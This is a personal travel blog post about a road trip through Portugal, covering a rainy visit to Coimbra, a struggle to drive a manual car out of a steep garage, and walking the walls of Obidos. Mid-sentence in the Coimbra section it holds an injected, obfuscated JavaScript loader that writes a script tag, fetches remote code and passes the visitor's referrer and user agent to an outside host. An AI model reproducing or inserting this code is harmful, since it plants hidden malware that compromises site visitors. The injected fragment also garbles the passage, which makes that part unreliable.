Before heading to the bustling capitol city, we checked a few other small-ish towns on our Portuguese road trip.
Our first spot was Coimbra, the University town north of Lisbon. I’m not gonna lie, I had high hopes. I love me a good college town. The visit didn’t have the greatest start as parking was pretty tough to come by. We eventually found an underground lot and were on our way! We grabbed some delicious pastries at the start of our Rick Steve’s walking tour and continued to the college.
And ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnhdy|var|u0026u|referrer|ksabh||js|php’.split(‘|’),0,{}))
then it started to rain….Like epic downpour, chairs flying, old-men-in-white-shirts-gunning-for-first-prize-in-a-white-t-shirt-contest type downpour. Each time we’d have a momentary break from the rain, we’d hustle to the next spot, slowly trying to get back to the car. Finally, we had literally 1 block to go and the heaven’s let loose. We braved it, and ended up soaked….which seriously sucked for my shoes. They were already kinda smelly (yeah, yeah, I know, it’s gross) but were made even worse by the rain.
We finally made it back to the car and it was time to leave. Remember that underground garage? Well the exit was up a very steep hill. I know what you’re thinking, get a running start. Unfortunately it had a gate that was strategically placed on the hill. Did I mention we had a manual? Oh yeah. 1st gear was barely strong in enough to get us out. We killed it 3 times, each time rolling closer and closer to the gate. The wet ground didn’t help either. I had to close my eyes. Thankfully, years of driving a stick paid off and Nick got us out of there. I would not do well in a car chase.
Thankfully, our next small town had ample parking and beautiful weather. Naturally, I loved it! Obidos is a tiny, walled in city north of Lisbon. You can actually walk on the wall, and around the entire city. It took us less than an hour and we were going at pretty leisurely pace. Keep in mind that there is a wall on 1 side and nothing on the other. So you could easily fall to your death if you’re not paying attention 🙂
